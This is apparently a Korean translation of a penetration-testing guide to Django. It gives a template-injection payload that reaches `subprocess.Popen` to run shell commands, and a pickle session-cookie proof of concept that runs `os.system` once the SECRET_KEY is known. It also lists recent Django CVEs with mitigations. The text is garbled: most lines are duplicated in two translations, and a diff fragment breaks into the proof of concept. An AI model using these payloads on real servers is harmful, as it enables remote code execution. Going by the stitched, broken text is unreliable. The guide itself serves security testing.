`subprocess.Popen`의 인덱스를 찾고(약 400500, Python 빌드에 따라 다름) 임의의 명령을 실행합니다:
`subprocess.Popen`의 인덱스(파이썬 빌드에 따라 ≈400500)를 찾아 임의의 명령을 실행합니다:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
더 안전한 범용 장치는 `cls.__name__ == 'Popen'`이 될 때까지 반복하는 것입니다.
더 안전한 범용 gadget은 `cls.__name__ == 'Popen'`이 될 때까지 반복(iterate)하는 것입니다.
같은 장치는 사용자 입력을 잘못 처리하는 **Debug Toolbar** 또는 **Django-CMS** 템플릿 렌더링 기능에도 적용됩니다.
같은 gadget은 사용자 입력을 잘못 처리하는 **Debug Toolbar** 또는 **Django-CMS**의 템플릿 렌더링 기능에서도 작동합니다.
---
## 피클 기반 세션 쿠키 RCE
설정 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`가 활성화되어 있거나 (피클을 역직렬화하는 사용자 정의 직렬 변환기), Django는 *세션 쿠키를 복호화하고 역직렬화*합니다 **보기 코드 호출 전에**. 따라서 유효한 서명 키(기본적으로 프로젝트 `SECRET_KEY`)를 소유하는 것만으로도 즉각적인 원격 코드 실행이 가능합니다.
### Also see: ReportLab/xhtml2pdf PDF export RCE
Django 기반 애플리케이션은 보통 뷰를 PDF로 내보내기 위해 xhtml2pdf/ReportLab을 통합합니다. 사용자가 제어하는 HTML이 PDF 생성으로 흘러들어가면, rl_safe_eval이 삼중 괄호 `[[[ ... ]]]` 안의 표현식을 평가해 코드 실행을 가능하게 할 수 있습니다 (CVE-2023-33733). Details, payloads, and mitigations:
### 익스플로잇 요구 사항
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## Pickle-Backed Session Cookie RCE
설정 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'`가 활성화되어 있거나(pickle을 deserialize하는 커스텀 serializer인 경우), Django는 어떤 view 코드도 호출하기 전에 세션 쿠키를 *decrypts and unpickles* 합니다. 따라서 유효한 signing key(기본적으로 프로젝트 `SECRET_KEY`)를 보유하고 있으면 즉시 원격 코드 실행이 가능합니다.
### Exploit Requirements
* 서버가 `PickleSerializer`를 사용합니다.
* 공격자가 `settings.SECRET_KEY`를 알고 있거나 추측할 수 있습니다 (GitHub, `.env`, 오류 페이지 등을 통해 유출됨).
* 공격자가 `settings.SECRET_KEY`를 알고 있거나 추측할 수 있습니다 (leaks via GitHub, `.env`, error pages, etc.).
### 개념 증명
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
쿠키를 전송하면 페이로드가 WSGI 작업자의 권한으로 실행됩니다.
결과 cookie를 전송하면, payload는 WSGI worker 권한으로 실행됩니다.
**완화 조치**: 기본 `JSONSerializer`를 유지하고, `SECRET_KEY`를 회전시키며, `SESSION_COOKIE_HTTPONLY`를 구성합니다.
**완화책**: 기본 `JSONSerializer`를 유지하고, `SECRET_KEY`를 주기적으로 교체하며, `SESSION_COOKIE_HTTPONLY`를 설정하세요.
---
## 최근 (2023-2025) 고위험 Django CVE 점검 사항
* **CVE-2025-48432** *이스케이프되지 않은 `request.path`를 통한 로그 주입* (2025년 6월 4일 수정). 공격자가 로그 파일에 개행/ANSI 코드를 밀어넣고 하류 로그 분석을 오염시킬 수 있습니다. 패치 수준 ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *`JSONField`의 `QuerySet.values()/values_list()`에서의 치명적인 SQL 주입* (CVSS 9.8). JSON 키를 조작하여 인용을 벗어나고 임의의 SQL을 실행합니다. 4.2.15 / 5.0.8에서 수정됨.
## 최근(2023-2025) 높은 영향도의 Django CVE — Pentesters가 확인해야 할 항목
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (fixed June 4 2025). 공격자가 newlines/ANSI codes를 로그 파일에 주입하여 하류의 로그 분석을 오염시킬 수 있습니다. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). JSON 키를 조작해 인용부호를 탈출하고 임의의 SQL을 실행할 수 있습니다. Fixed in 4.2.15 / 5.0.8.
정확한 프레임워크 버전을 `X-Frame-Options` 오류 페이지 또는 `/static/admin/css/base.css` 해시를 통해 항상 지문을 찍고, 해당되는 경우 위 사항을 테스트합니다.
항상 `X-Frame-Options` 오류 페이지나 `/static/admin/css/base.css` 해시를 통해 정확한 프레임워크 버전을 식별하고, 해당되는 경우 위 항목들을 테스트하세요.
---
## 참조
* Django 보안 릴리스 "Django 5.2.2, 5.1.10, 4.2.22가 CVE-2025-48432를 해결합니다" 2025년 6월 4일.
* OP-Innovate: "Django가 SQL 주입 결함 CVE-2024-42005를 해결하기 위해 보안 업데이트를 릴리스합니다" 2024년 8월 11일.
## 참고자료
* Django 보안 릴리스 "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 2025년 6월 4일.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 2024년 8월 11일.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}